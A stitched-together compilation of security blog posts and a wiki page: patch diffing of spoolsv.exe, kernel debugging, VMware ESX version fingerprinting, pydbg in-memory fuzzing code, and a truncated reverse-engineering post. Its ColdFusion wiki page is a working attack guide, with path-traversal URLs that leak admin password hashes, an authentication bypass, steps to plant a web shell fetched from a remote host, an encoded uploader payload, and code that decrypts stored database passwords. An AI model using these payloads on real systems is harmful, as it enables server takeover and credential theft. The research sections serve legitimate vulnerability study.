“spoolsv.exe” and it is located in C:\Windows\System32\Spoolsv.exe

I put the pre patch binary through IDA Pro and run TurboDiff. I save the IDB
and the turbo diff data and I open the post-patch binary. I repeat the process
and then compare the databases.

<img src='img/Temp2_10659.png' width='751' height='733' />

So We have one changed function:

changed functions: 1  
\[.\] 010067bd YStartDocPrinter\(x,x,x,x\) – \[.\] 010067cb
YStartDocPrinter\(x,x,x,x\)

We also have six brand new functions:  
unmatched functions1: 6  
010070b2 sub\_10070B2  
010080fb CheckLocalCall\(\)  
01008269 ValidateOutputFile\(x,x\)  
0100b29b CheckTokenMembership\(x,x,x\)  
0100b917 GetLastErrorAsHResult\(\)  
010075f0 sub\_10075f0\_undefined

Lets take a look at YStartDocPrinter first. This is the Pre/post patch call
flow compared side by side…

<img src='img/Temp2_10666.png' width='581' height='691' />

There are some pretty obvious additions \(red\) so lets take a look at whats
been added.

<img src='img/Temp2_10656.png' width='773' height='799' />

So this new code does a couple of things:

\(1\) The output file is validated by ValidateOutputFile\(x,x\) in some way if
\(2\) the new function CheckLocalCall\(\) doesn’t return zero.

Other “stuff” is happening too but ValidateOutputFile just got really
interesting…

**Update \#1**  
Lets take a look at the ValidateOutputFile function’s call flow and then we’ll
see about making it fail… We want to make this fail so that we can provide a
safe \(but invalid\) file name to spoolsv so that we can tell if a remote
machine is patched or not without having credentials.

Call flow:  
<img src='img/Temp2_10660.png' width='403' height='560' />

Post to comments if you’re reversing this and would like to participate in
this live event heh…

**Posted By:** jRichards  
**Last Edit:** 15 Sep 2010 @ 02:00 PM  
  
Email • Permalink • Comments \(2\)

<img src='img/Temp2_10668.png' alt='Tags' />

**Categories:** Binary Diffing, Reversing

* * *
### BinNavi 3.0 + VirtualKD = Kernel Debugging Goodness

08 Sep 2010 @ 10:54 AM

  
**\*\* UPDATE: New Annotated video will be available in in 30min \*\*\***  

  
**\*\* UPDATE 2 : New Annotated video available \(if vimeo ever finishes
encoding…\) \*\*\***  

  
**\*\* Note: The new windbg client is currently in alpha. The guys at Zynamics
expect the public release to be** _much_ faster. Woot.\*\*\*  

  

Kernel Tracing HTTP.SYS with BinNavi 3.0 from jeremy Richards on Vimeo.

  
The fine folks over at Zynamics were nice enough to lend me a copy of BinNavi
3.0 and to give me an opportunity to try a new build that allows kernel mode
remote debugging with all of the same BinNavi greatness you’ve seen in their
videos on Isolating interesting code in Pidgin and Automatically resolving
dynamic function calls.

The debugging environment requires just a little tweaking but has very few
opportunities to go wrong. VirtualKD is used to speed up debugging and is
required on both the target and the host. You can copy the “target” folder
over to the VM and run the installer. Reboot and choose to boot the guest with
the debugger active and you’re almost there.

After installing Microsoft Debugging Tools you’re ready to launch VMMON.EXE or
VMMON64.EXE supplied in VirtualKD. This process will watch and patch running
VMs to enable their kernel mode debugging tools.

<img src='img/Temp2_10657.png' width='960' height='579' />

Next we fire up the new debugger on the host machine,

<img src='img/Temp2_10655.png' width='677' height='366' />

Launch BinNavi and attach it to the debugger. We are presented with a list of
drivers in the “Processes” tab and voila\!

<img src='img/Temp2_10653.png' width='576' height='797' />

The following is a first-cut \(no editing or captions\) video example of using
BinNavi 3.0 with VirtualKD to debug kernel mode drivers. In this video I
attach to the process and start tracing.

First I trace while IIS is idle and mark all of the blocks hit in that trace
as idle background noise. Then those breakpoints are removed and only new
breakpoints are recorded when processing a get request. This allows us to
isolate only the functions used in processing a simple anonymous GET request.

Kernel Tracing HTTP.SYS with BinNavi 3.0 from jeremy Richards on Vimeo.

Next we will identify the changed code segments in http.sys before and after
MS10-040 and set break points on the added/changed functions…

**Posted By:** jRichards  
**Last Edit:** 13 Sep 2010 @ 12:22 PM  
  
Email • Permalink • Comments \(0\)

<img src='img/Temp2_10668.png' alt='Tags' />

**Categories:** Uncategorized

* * *
### VMWare ESXi 3.5/4.0 Information Disclosure \(Vulnerability?\)

23 Jul 2010 @ 12:50 PM

Let me start out by saying that ESX and ESXi both have the ability to allow
management from a defined IP address or IP mask. In addition, they both allow
you to set a management interface and bind the management interface to only
allow connections from an administrative subnet. This is just security best
practice and in this case, following best practice will mitigate much of the
risk involved in this ‘Information Leakage’ issue.

Both ESX and ESXi have a web based management interface that can be used to
browse the data store and download the vShpere \(thick\) client for managing
the ESX/ESXi host. This management interface seems a little dangerous to me in
that exposes a massive web service \(vim.wsdl\) and at lest a portion can
queried successfully without authentication.

The webservice endpoint is at https://esx-server-ip/sdk

The web service is configured to point to /usr/lib/vmware/hostd/docroot if you
want to go snooping yourself.

I do vulnerability research and write code to detect remotely vulnerable hosts
on a network. Some of the best remote detection rules I’ve written depend on
very obscure ‘information disclosure’ vulnerabilities.

Web apps there are all kinds of tricks to finding the exact build of an app by
generating diffs of publicly accessible supporting java-script files. Another
trick is to enumerate all of the calls you can make to a web service as an
unauthenticated user and then start parsing the responses. You’ll start to
develop a fuzzy finger print that will generate ranges of possible versions.

This blog posting isn’t about any of these neat techniques. This blog post is
about sending a single specific post to the vmware sdk running on the
management interface with no authentication or cookie trickery.

The following post request will generate an xml response that be parsed to
identify the ESX version right down to the build level. The build level is
increased on every major update which provides exceptional granularity to
patch detection.

**POST /sdk HTTP/1.1\r\nContent-Type: text/xml;
charset=\”utf-8\”\r\nSOAPAction: \”urn:internalvim25/4.0\”\r\nContent-Length:
410\r\n\r\n <soap:Envelope xmlns:xsd=\”http://www.w3.org/2001/XMLSchema\”
xmlns:xsi=\”http://www.w3.org/2001/XMLSchema-instance\”
xmlns:soap=\”http://schemas.xmlsoap.org/soap/envelope/\”>\r\n <soap:Body>\r\n
<RetrieveServiceContent xmlns=\”urn:internalvim25\”>\r\n <\_this
xsi:type=\”ServiceInstance\” type=\”ServiceInstance\”
serverGuid=\”\”>ServiceInstance</\_this>\r\n </RetrieveServiceContent>\r\n
</soap:Body>\r\n</soap:Envelope>\r\n\r\n\r\n**

What does the response look like?

Well you get a whole bunch of XML but the interesting bit is here:

<RetrieveServiceContentResponse
xmlns=”urn:internalvim25″><returnval><rootFolder type=”Folder”>ha-folder-
root</rootFolder><propertyCollector type=”PropertyCollector”>ha-property-
collector</propertyCollector><viewManager
type=”ViewManager”>ViewManager</viewManager><about><name>VMware ESX</name>**<
fullName>VMware ESX 4.0.0 build-164009</fullName>**<vendor>VMware,
Inc.</vendor><version>4.0.0</version><build>164009</build><localeVersion>INTL</localeVersion><localeBuild>000</localeBuild><osType>vmnix-x86</osType><p

So my question to you: Is this a ‘vulnerability’ vmware needs to fix or just
some undocumented feature that doesn’t really need to be fixed? The build
number matches directly to patches that increment the build when applied…

**Posted By:** jRichards  
**Last Edit:** 23 Jul 2010 @ 01:05 PM  
  
Email • Permalink • Comments \(0\)

<img src='img/Temp2_10668.png' alt='Tags' />

**Categories:** Uncategorized

* * *
### Reversing the iPhone Device Service \(AppleMobileDeviceService.exe\)

22 Feb 2010 @ 8:19 PM

**UPDATE:**

_\*\*\*\*\* ACCESS VIOLATION \*\*\*\*\*  
AppleMobileDeviceService.exe:0040fe9a mov eax,\[eax\] from thread 276 caused
acces  
s violation  
when attempting to read from 0x6b736643_

_CONTEXT DUMP  
EIP: 0040fe9a mov eax,\[eax\]  
EAX: 6b736643 \(1802724931\) -> N/A  
EBX: 003c3ee8 \( 3948264\) -> A><XAAAC \(heap\)  
ECX: 00420498 \( 4326552\) -> H>< \(AppleMobileDeviceService.exe.data\)  
EDX: 00000000 \( 0\) -> N/A  
EDI: 0078fc04 \( 7928836\) -> H\# \(heap\)  
ESI: 003c3ee8 \( 3948264\) -> A><XAAAC \(heap\)  
EBP: 008cfeec \( 9240300\) -> t\(AB <\}e= |~| <
;<><C<B<n@><be=x><><x09@=@x\)|><x  
x><\[x|0| \(stack\)  
ESP: 008cfee4 \( 9240292\) -> Cfsk \(stack\)  
+00: 6b736643 \(1802724931\) -> N/A  
+04: 00420498 \( 4326552\) -> H>< \(AppleMobileDeviceService.exe.data\)  
+08: 008cff74 \( 9240436\) -> N/A  
+0c: 00410c28 \( 4262952\) -> N/A  
+10: 004204a0 \( 4326560\) -> Cfsk \(AppleMobileDeviceService.exe.data\)  
+14: 00000009 \( 9\) -> N/A_

_disasm around:  
0x0040fe88 leave  
0x0040fe89 ret  
0x0040fe8a push ebp  
0x0040fe8b mov ebp,esp  
0x0040fe8d push ecx  
0x0040fe8e push ecx  
0x0040fe8f mov eax,\[ebp+0x8\]  
0x0040fe92 mov eax,\[eax\]  
0x0040fe94 mov \[ebp-0x8\],eax  
0x0040fe97 mov eax,\[ebp-0x8\]  
0x0040fe9a mov eax,\[eax\]  
0x0040fe9c mov \[ebp-0x4\],eax  
0x0040fe9f mov eax,\[ebp+0x8\]  
0x0040fea2 mov ecx,\[ebp-0x4\]  
0x0040fea5 mov \[eax\],ecx  
0x0040fea7 mov eax,\[ebp-0x4\]  
0x0040feaa mov ecx,\[ebp+0x8\]  
0x0040fead mov \[eax+0x4\],ecx  
0x0040feb0 mov eax,\[ebp-0x8\]  
0x0040feb3 leave  
0x0040feb4 ret_

_stack unwind:  
AppleMobileDeviceService.exe:00410c28  
AppleMobileDeviceService.exe:00401c6e  
AppleMobileDeviceService.exe:00401d13_

_SEH unwind:  
008cffdc -> AppleMobileDeviceService.exe:00403930 sub esp,0×14  
ffffffff -> kernel32.dll:7c839ad8 push ebp_

In previous posts we started fuzzing AppleMobileDeviceService.exe using a
technique called In Memory Fuzzing. This approach was outlined in chapter
19/20 of Fuzzing: Brute Force Vulnerability Discovery.

This article will briefly touch on the topic of reverse engineering your
binary to determine your enrty and restore hooks. These hooks are very
important as they tell the debugger where to take its first memory snapshot
and when to revert back to this state.

As fuzzing becomes more complex it will be up to you to determine the changes
made in memory during this time and take this into consideration when looking
into crashes.

Since we are interested in hooking data received via winsock the best place to
start is the imports section of the binary. When we double click recv and jump
to xRefs we see only one.

The decompiled look at this function goes a little something like this:

<img src='img/Temp2_10664.png' width='566' height='209' />

If recv returns FFFFFFFF \(or -1\) there is an error. And v7 points to it. If
not, v7 is set to 0. If everything looks good, return the data.

Cool, so this is just a little wrapper to recv with some error handling I
guess. I wonder where this function is called from…

<img src='img/Temp2_10662.png' width='592' height='241' />

…We’re on the right track so lets set breakpoints after the return of the
calls to this function.

<img src='img/Temp2_10667.png' width='707' height='391' />

\(set a breakpoint on all of them\!\)

When we attach our iPhone IDA hits a breakpoint. If you set breakpoints after
all calls to our recv\(\) wrapper you’ll get a breakpoint at the first packet
receved, the address is 004133F3…

We take a look at ESP:

<img src='img/Temp2_10665.png' width='403' height='327' />

If you look at ESP+4 \(009CFEE4\) you may notice this is a dword pointer, by
pressing D a couple of times it will convert this to an address that you can
double click on or mouse over to de-reference…

<img src='img/Temp2_10652.png' width='982' height='263' />

So, there we have it… a pointer to our data \(ESP+4\) and a spot to hook,
004133F3.

If we take a look at the call graph:

<img src='img/Temp2_10658.png' width='360' height='390' />

We can see a pretty logical restore hook:

Zooming in we snag the address and hope for the best.

<img src='img/Temp2_10661.png' width='1024' height='316' />

We will take a look at using code coverage tools to determine the best entry
and restore hook points as soon as I get my paws on BaSO4

You can grab the script here or just copy-and paste from the end of this
posting.

Here is a video of the basic fuzzer in action:  

In Memory Fuzzing iPhone Device Service from jeremy Richards on Vimeo.

And here is the source to the fuzzer:

[code]

    #!c:\python\python.exe
    
    """
    In Memory Fuzzer 0.02a
    """
    
    import time
    import random
    import utils
    import struct
    
    from pydbg import *
    from pydbg.defines import *
    
    snapshot_hook  = 0x00413495
    restore_hook   = 0x00413604
    snapshot_taken = False
    hit_count      = 0
    address        = 0
    
    ########################################################################################################################
    ### callback handlers.
    ########################################################################################################################
    
    def handle_bp (dbg):
        global snapshot_hook, restore_hook, snapshot_taken, hit_count, address
    
        if dbg.exception_address == snapshot_hook:
            hit_count += 1
            print "snapshot / mutate hook point hit #%d" % hit_count
    
            # if a process snapshot has not yet been taken, take one now.
            if not snapshot_taken:
                start = time.time()
                print "taking process snapshot...",
                dbg.process_snapshot()
                end = time.time() - start
                print "done. completed in %.03f seconds" % end
                #context_list = dbg.dump_context_list(stack_depth=4, print_dots=True)
                print dbg.dump_context(stack_depth=4, print_dots=True)
                #print dbg.hex_dump(dbg.read_process_memory(dbg.context.Eax, 20))
                snapshot_taken = True
    
            if hit_count > 1:
                if address:
                    print "freeing last chunk at %08x" % address
                    dbg.virtual_free(address, 1000, MEM_DECOMMIT)
    
                print "allocating chunk of memory to hold mutation"
                address = dbg.virtual_alloc(None, 1000, MEM_COMMIT, PAGE_READWRITE)
                print "memory allocated at %08x" % address
                print "generating mutant...",
                mutant = struct.pack('hllll',random.randint(0, 255),0,2,2,0)
                print "done. generating mutant"
                print "writing mutant into target memory space"
                dbg.write(address, mutant)
                print "modifying function argument to point to mutant"
                dbg.write(dbg.context.Esp + 4, dbg.flip_endian(address))
                print dbg.hex_dump(dbg.read_process_memory(address,16))
                print "continuing execution...\n"
                dbg.bp_set(restore_hook)
    
        if dbg.exception_address == restore_hook:
            start = time.time()
            print "restoring process snapshot...",
            dbg.process_restore()
            end = time.time() - start
            print "done. completed in %.03f seconds" % end
            dbg.bp_set(restore_hook)
    
        return DBG_CONTINUE
    
    def handle_av (dbg):
        print "***** ACCESS VIOLATION *****"
    
        crash_bin = utils.crash_binning.crash_binning()
        crash_bin.record_crash(dbg)
    
        print crash_bin.crash_synopsis()
        dbg.terminate_process()
    
    ########################################################################################################################
    
    dbg = pydbg()
    
    dbg.set_callback(EXCEPTION_BREAKPOINT,       handle_bp)
    dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, handle_av)
    
    found_target = False
    for (pid, proc_name) in dbg.enumerate_processes():
        if proc_name.lower() == "applemobiledeviceservice.exe":
            found_target = True
            break
    
    if found_target:
        dbg.attach(pid)
        dbg.bp_set(snapshot_hook)
        dbg.bp_set(restore_hook)
        print "attached to %d. debugger active." % pid
        for addr in dbg.breakpoints.keys():
            print "bp at %08x" % addr
        dbg.run()
    else:
        print "target not found."
    
[/code]

**Posted By:** jRichards  
**Last Edit:** 25 Feb 2010 @ 10:16 PM  
  
Email • Permalink • Comments \(1\)

<img src='img/Temp2_10668.png' alt='Tags' />

**Categories:** Fuzzing, Reversing

* * *
### LOL @ Apple

14 Feb 2010 @ 12:09 AM

I’m writing up a proper post about reverse engineering your target to properly
identify snapshot and restore points but I had to quickly share something I
found in the binary:

<img src='img/Temp2_10654.png' width='1024' height='341' />

**Posted By:** jRichards  
**Last Edit:** 22 Feb 2010 @ 08:05 PM  
  
Email • Permalink • Comments \(0\)

<img src='img/Temp2_10668.png' alt='Tags' />

**Categories:** Uncategorized

* * *
### In Memory Fuzzing

12 Feb 2010 @ 4:41 AM

In memory fuzzing is a form off process instrumentation that allows the
analyst to bypass parsers, network limitations, encryption and data marshaling
steps to deal directly with a functions inputs and test its integrity.

The upsides:

  * It’s faster to get to your target function than creating mini-clients or modifying file formats \(or generating 1.5 TB worth…\)
  * Once you’re up and running the process fuzz cases happen much faster and it’s easier to distribute fuzz space to multiple VMs
  * It’s a lot more fun

The down sides:

  * Found a bug? No you didn’t… yes you did… did you? Now that you found your bug you need to get to that section of the code… did you fuzz with the proper bounds?
  * There is a bit of a learning curve and not a lot of help out there. This has been done in an ad-hoc manner for a few years but there are no real tools to get the job done simply.

So how exactly do we accomplish in memory fuzzing? If you’ve been following
along with the other posts you know I’m in love with pydbg and the PaiMei
framework. I want to continue to use this

framework but it should be noted that Dion Blazakis just had a fairly good
shmoocon talk on BaSO4: A Dynamic Dataflow Analysis Tool for Auditing and
Reversing and, from what I can tell, it can and should be used in tandum with
in memory fuzzing. He has done work on analyzing the dependancies of call
graph flow which would be useful in building a more intelligent in memory
fuzzer. In anycase, he hasn’t released any code but its an IDA plugin which
means it will be trivial to export the data using IDA Pro’s -A, -B and -S
flags.

_\(Automatic disasm and creating of IDB / ASM files, Batch Mode with a a
modifiedPIDA\_dump.py to launch automatically, -S or script mode to define an
IDC script that can be used to launch an IDAPython script to export more info…
I’ll go over all of this in another post if anyone is interested\)_

…getting back to in-memory fuzzing, the basic steps are:

Initalize the debugger variables \(DONE\)  
Attach to process \(DONE\)  
Set your hooks \(DONE\)  
When the entry point is hit time save memory state and continue \(DONE\)

Monitor process for memory access of function arguements, save address \(IN
PROGRESS\)  
When the exit point is reached revert to saved\_state \(DONE\)  
Allocate a space for our fuzz string or buffer with pydbg.virtual\_alloc\(\)
\(DONE\)  
Modify the functions argument pointers to our fuzz data \(IN PROGRESS\)  
Monitor for stack integrity \(IN PROGRESS\)

Haz a nice cold coke. \(IN PROGRESS\)

There is much more to it than this of course.. but that’s the basic idea that
I get…. here is a video of steps 1-4, step five is a whole new ball game so
stay tuned. \(Code is available at the end of the post\).

The source code to the start of the in-memory fuzzer:

[code]

    #!/usr/bin/env python
    
    from pydbg import *
    from pydbg.defines import *
    
    import time
    import random
    
    snapshot_hook   = 0x0040FBE8
    restore_hook    = 0x0040FBEB
    snapshot_taken  = False
    hit_count               = 0
    address                 = 0
    
    def set_entry(pydbg):
            return 1
    
    def handle_bp(pydbg):
            global snapshot_hook, restore_hook
            global snapshot_taken, hit_count, address
    
            if pydbg.first_breakpoint:
                    return DBG_CONTINUE
    
            print "ws2_32.recv() called from thread %d @%08x" % (pydbg.dbg.dwThreadId, pydbg.exception_address)
    
            context_dump = dbg.dump_context(stack_depth=4, print_dots=False)
    
            print context_dump
    
            if pydbg.exception_address == snapshot_hook:
                    hit_count += 1
                    print "hit the snapshot address"
                    start = time.time()
                    print "taking snapshot..."
                    pydbg.process_snapshot()
                    end = time.time() - start
                    print "snapshot took: %.03f seconds\n" % end
                    if hit_count >= 1:
                            if address:
                                    print "freeing last chunk"
                                    print "%08x" % address
                                    pydbg.virtual_free(address, 1000, MEM_DECOMMIT)
                    print "allocating memory for mutated data"
                    address = pydbg.virtual_alloc( None, 1000, MEM_COMMIT, PAGE_READWRITE)
                    print "Allocated 1000 bytes at: %08x" % address         
    
            return DBG_CONTINUE
    
    def handle_av (pydbg, dbg, context):
        '''
        As we are mucking around with process state and calling potentially unknown subroutines, it is likely that we may
        cause an access violation. We register this handler to provide some useful information about the cause.
        '''
    
        crash_bin = utils.crash_binning.crash_binning()
        crash_bin.record_crash(dbg)
    
        print crash_bin.crash_synopsis()
        dbg.terminate_process()
    
    dbg = pydbg()
    dbg.set_callback(EXCEPTION_BREAKPOINT,handle_bp)
    dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, handle_av)
    
    found_target = False
    
    for (pid, proc_name) in dbg.enumerate_processes():
            #print proc_name.lower()
            if proc_name.lower() == "applemobiledeviceservice.exe":
                    found_target = True
                    print "[+] Found Target:\"%s" %proc_name.lower()
                    break
    
    if found_target:
            dbg.attach(pid)
            print "[+] Attached to :" + str(pid)
            dbg.bp_set(snapshot_hook)
            dbg.bp_set(restore_hook)
            print "[+] Hooks set, entering debug loop..."
            dbg.debug_event_loop()
    else:
            print "Target not found\n"
    
[/code]

# CFM - Security101

**Created:**| _1/3/2012 4:32:36 PM_  
---|---  
**Updated:**| _1/3/2012 4:32:36 PM_  
**Author:**| __  
**Tags:**| _web-app-sec_  
  

# CFM

  

**Warning:** This page includes a Zero-Day attack.

**C** old**F** usion **M** arkup Language is an interpreted language utilizing
a Java backend. It allows direct access to Java via its cfscript tags, while
simultaneously offering a simple web wrapper. It is vulnerable to a variety of
attacks, but mainly LFD and SQLi. ColdFusion scripts are commonly run as an
elevated user, such as NT-Authority\SYSTEM \(Windows\) or root \(Linux\),
making them especially susceptible to web-based attacks. Two platforms
presently support ColdFusion Markup Language: Adobe ColdFusion and Railo.
ColdFusion scripts are officially recognized with two file extensions: cfm and
cfc.

## Contents

  * 1 Injection
    * 1.1 Adobe ColdFusion
      * 1.1.1 Remote File Disclosure of Password Hashes
      * 1.1.2 Issues
      * 1.1.3 Logging In
      * 1.1.4 Writing Shell to File
      * 1.1.5 Issues
    * 1.2 Railo
  * 2 Privilege Escalation
  * 3 Patching
  * 4 Resources

  
---  
##  Injection

**Warning:** These techniques are very effective. Using them against any
system without authorization is a criminal act.

**Info:** ColdFusion script attacks are primarily platform-specific. The
following examples outline vectors for attack.

  

###  Adobe ColdFusion

* * *
Technique: LFD to ColdFusion Administrator bypass to remote command execution
\(complete comprimise\):

####  Remote File Disclosure of Password Hashes

The most critical ColdFusion vulnerability affects about a tenth of all
ColdFusion servers at the present. It chains together multiple exploits, and
it provides a 30 second window into the Administrator panel. The ColdFusion
Administrator panel can then be used to write out a shell.

You will need: Tamper Data \(Firefox extension\)

To begin, the site in question must have an ColdFusion Administrator
available. By default, it's mapped to CFIDE/administrator/enter.cfm. If it
returns 500 Forbidden, switch to HTTPS. Alternatively, use the IP and not the
hostname. Once at the ColdFusion administrator, verify it is either version 7
or 8. Then, supply the following injections \[1\]:

LFI |  Affects   
---|---  
http://site/CFIDE/administrator/enter.cfm?locale=..\\..\\..\\..\\..\\..\\..\\..\CFusionMX\lib\password.properties%00en |  ColdFusion 6   
http://site/CFIDE/administrator/enter.cfm?locale=..\\..\\..\\..\\..\\..\\..\\..\CFusionMX7\lib\password.properties%00en |  ColdFusion 7   
http://site/CFIDE/administrator/enter.cfm?locale=..\\..\\..\\..\\..\\..\\..\\..\ColdFusion8\lib\password.properties%00en |  ColdFusion 8   
http://site/CFIDE/administrator/enter.cfm?locale=..\\..\\..\\..\\..\\..\\..\\..\\..\\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en |  All versions   
If the LFD succeeds, the ColdFusion Administrator hash will be included on the
page.

####  Issues

  * The page does not display properly \(broken images\)/I can't figure out what version it is 

Try supplying the injections anyway. If the LFD succeeds but the images are
broken, you will need to manually HMAC the administrator hash against the salt
to bypass authentication. In an effort to simplify this, I've supplied a one-
liner command you can run to perform this:

**python -c 'import hashlib,hmac; src=raw\_input\( "Hash > "\);
salt=raw\_input\("Salt > "\); print
"HMAC",hmac.new\(salt,hash,hashlib.sha1\).hexdigest\(\).upper\(\)**

The hash is provided via the LFD, and the salt is updated every 30 seconds in
the source \(ctrl+F salt, second one\).

  * None of the injections worked 

There are a couple possible reasons behind this one. One, the files may not
actually be there\! Try including \boot.ini or /etc/hosts to find out if this
is the case. If they include successfully, you may need to blindly locate the
password.properties file \(or another file of value\). Two, the server may
have l10n already patched. You'll need to find another vulnerability.

####  Logging In

Now that the hash has been included, you may have been misled by other guides
that you need to reverse it/hope its plaintext. This is NOT the case. Due to a
second security advisory, you can bypass the authentication using the hash
alone. Simpily paste the hash into the admin password form and run this via
your address bar:

**javascript:alert\(hex\_hmac\_sha1\(document.loginform.salt.value,document.loginform.cfadminPassword.value\)\)**

**Info:** It's a good idea to bookmark this to cut down on time. NoScript
users: make sure you are allowing scripts to run while performing this.

  

  * You will get an alert with the HMACed hash. Copy this value. 
  * Go to Tools -> Tamper Data and Start Tampering. 
  * Submit the login form, and paste the hash in the cfadminPassword field. 
  * Press **OK**. 

**If you were fast enough, you should be in the ColdFusion Administrator.**

####  Writing Shell to File

  * Go to the Settings Summary tab on the left and find the 'Mappings' section. 
  * One of the default mappings is /CFIDE. This is where you will be writing to. 
  * Copy the path next to it. 
  * Enter the Debugging and Logging tab on the left panel and click 'Scheduled Tasks' 
  * Click 'Schedule New Task'. 
  * Set the task name to whatever you like 
  * Change the URL to the URL of a plaintext CFM shell \(http://example.site.tld/shells/cfm.txt\) 
  * Check the option to save the output to a file. 
  * Paste the path you acquired from the Mappings into the 'File' field, 
  * Paste the name you want to save the shell as and the extension \(cfm\). 
  * Press **OK** and click the green check to run the task. 

**If everything went as expected, your shell should now be on the server at
/CFIDE/shellname.cfm.**

  * Delete the task. 

####  Issues

  * It failed to get my shell 

Either /CFIDE is not writable \(rare\) or an outgoing firewall prevents you
from retrieving a shell. It is possible to subvert the outgoing firewall by
exploiting a localhost XSS in probe.cfm \(supply it in the URL field of the
scheduled task\):

  

**Notice:** We realize the URL below is horrifying. Trust it. It exploits a
zero day XSS attack in **probe.cfm**.

**/CFIDE/probe.cfm?name=%3Cb%3E%26%23181%3BSH%3C%2Fb%3E%22%3C%2Fh1%3E%3Ccfif%20isDefined\(%22Form.File%22\)%3E%3Ccftry%3E%3Ccffile%20action%3D%22upload%22%20destination%3D%22%23Expandpath\(%22.%22\)%23%22%20filefield%3D%22Form.File%22%20nameconflict%3D%22overwrite%22%3EFile%20uploaded\!%3Ccfcatch%3EUpload%20failed%3C%2Fcfcatch%3E%3C%2Fcftry%3E%3C%2Fcfif%3E%3Cform%20method%3DPOST%20enctype%3D%22multipart%2Fform-
data%22%3E%3Cinput%20type%3Dfile%20name%3D%22File%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22Upload%22%3E%3C%2Fform%3E%3Cscript%3E**

A very small uploader will be written that uploads to the current path.

###  Railo

* * *
Railo is commonly misconfigured to run as root. It also is the target of path
disclosure. To accomplish this, go to a .cfm script that doesnt exist on the
site, or error a .cfm script. Railo will give a verbose debug output
disclosing potentially important information.

##  Privilege Escalation

Three techniques can be employed to escalate privileges:

1\. ColdFusion 9 \(latest\) is still vulnerable to the same admin bypass. If
you have the hash, the CF 7/8 technique can be applied.

2\. Encrypted, base64ed ColdFusion hashes in 7+ can be reversed \[2\]. They
can be found in the source of the datasource pages in the Administrator and in
xml files in lib/. To decrypt them, run this in a ColdFusion environment:

[code]

    <cfscript>
    o=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources();
    for(i in o) {
    if(len(o[i]["password"])){
    dp=Decrypt(o[i]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64") ;
    writeoutput("#htmleditformat(i)# : #htmleditformat(dp)##chr(10)#");
    }
    }
    </cfscript>
[/code]  
---  
  
3\. Sandbox security for cfexecute can be bypassed. Use
createObject\("java","java.lang.ProcessBuilder"\).init\(cmd\).start\(\) within
cfscript tags \(**Zero-Day attack 2**\).

##  Patching

Patching a ColdFusion instance from the LFD->Bypass->RCE exploit can only be
done on ColdFusion 8. No other versions can be patched. That being said, the
official Adobe patch can be downloaded here:

http://kb2.adobe.com/cps/857/cpsid\_85766.html

Extract the .zip file and replace the two affected files \(l10n.cfm &
l10n\_testing.cfm\). Restart the ColdFusion Application Server service to
apply the patch. Alternatively, run the following code in a ColdFusion
environment:

[code]

    <cfscript>
    oJRun = CreateObject("java","jrunx.kernel.JRun");
    oJRun.restart(oJRun.getServerName());
    </cfscript>
[/code]  
---  
  
You can verify the host is patched by testing various LFD injections against
/CFIDE/administrator/enter.cfm.

##  Resources

  * http://www.infointox.net/?p=59

  * http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html

  * http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/

  * http://www.securiteam.com/tools/5ZP0B00FPG.html \- Barebones Cfm Shell \(**Detected by anti-virus.**\) 

|  
---|---

# SkullSecurity » Blog Archive » Remote control manager FAIL

**Created:**| _12/22/2011 10:37:48 AM_  
---|---  
**Updated:**| _12/22/2011 10:37:48 AM_  
**Author:**| __  
**Tags:**| _Exploit reversing awesome_  
  

## Remote control manager FAIL

Filed under: Hacking, Reverse Engineering

Hey guys,

Today, I thought it'd be fun to take a good look at a serious flaw in some
computer-management software. Basically, the software is designed for remotely
controlling systems on networks \(for installing updates or whatever\). As far
as I know, this vulnerability is currently unpatched; there are allegedly
mitigations, but you have to pay to see them\! \(A note to vendors - making us
pay for your patches or mitigation notes only makes your customers less
secure. Please stop doing that\!\)

This research was done in the course of my work at Tenable Network Security on
the Reverse Engineering team. It's an awesome team to work on, and we're
always hiring \(for this team and others\)\! If you're interested and you have
mad reverse engineering skillz, or any kind of infosec skillz, get in touch
with me privately\! \(rbowes-at-tenable-dot-com if you're interested in
applying\)

## The advisory

I'm not going to talk too much about the advisory, but I'll just say this: it
was on ZDI, and basically said that the vulnerability was related to improper
validation of credentials allowing the execution of arbitrary shell commands.
Pretty vague, but certainly an interesting challenge\!

## Getting started

One of the obvious places to start is to load up the .exe file into IDA
\(disassembler\) and look at the networking functions. Another - easier -
option is load up a debugger \(WinDbg\) and throw a breakpoint on
winsock32\!recv or ws2\_32\!recv, then send data to the program to see where
it breaks. That's normally the first thing I try if the protocol is unknown
\(and sometimes even if it's a known protocol\).

By putting a breakpoint on recv, sending it data with netcat, and using the
'gu' command to step out of the receive function, I wound up looking at this
code in IDA:  
<img src='img/Temp2_7562.png' />

Basically, it calls recv with a length of '1' and stores the results in a
local buffer. Then it jumps to this bit of code:  
<img src='img/Temp2_7553.png' />

Essentially, it's checking if the value byte it just received is '0' \(the
null byte, "\0"\). If it is, it falls through, does some logging, then returns
\(not shown\).

I decided to call this function "read\_from\_socket".

Based on this little bit of code, I determined some information about the
protocol - it receives a series of bytes, up to some maximum length, that are
terminated by a null byte \("\0"\).

## Diving into the protocol

The next thing we want to know is how or where the received data is used. We
can trace through the assembly, or we can do it the easy way and use a
debugger. So, naturally, I decided to take the easy way out and continued
using the debugger. I opted to put a breakpoint at 40507c using Windbg, which
is just below the recv code shown above:

[code]

    0:002> bp 40507c
[/code]

Then I resume the process in Windbg with the 'g' command \(or I can press
F5\):

[code]

    0:002> g
[/code]

Then I use netcat to send 'test\0' \(that is, test with a null byte at the
end\) to the process \(note that this isn't the real port\):

[code]

    ron@armitage ~ $ echo -ne "test\0" | nc -vv 192.168.1.112 1234
    192.168.1.112: inverse host lookup failed:
    (UNKNOWN) [192.168.1.112] 1234 (?) open
     sent 5, rcvd 0
    ron@armitage ~ $
    
[/code]

And, of course, back in the debugger, it hits our breakpoint. After that, we
inspect ecx \(which should be the buffer\):

[code]

    0:002> bp 40507c
    0:002> g
    Breakpoint 0 hit
    eax=00000005 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
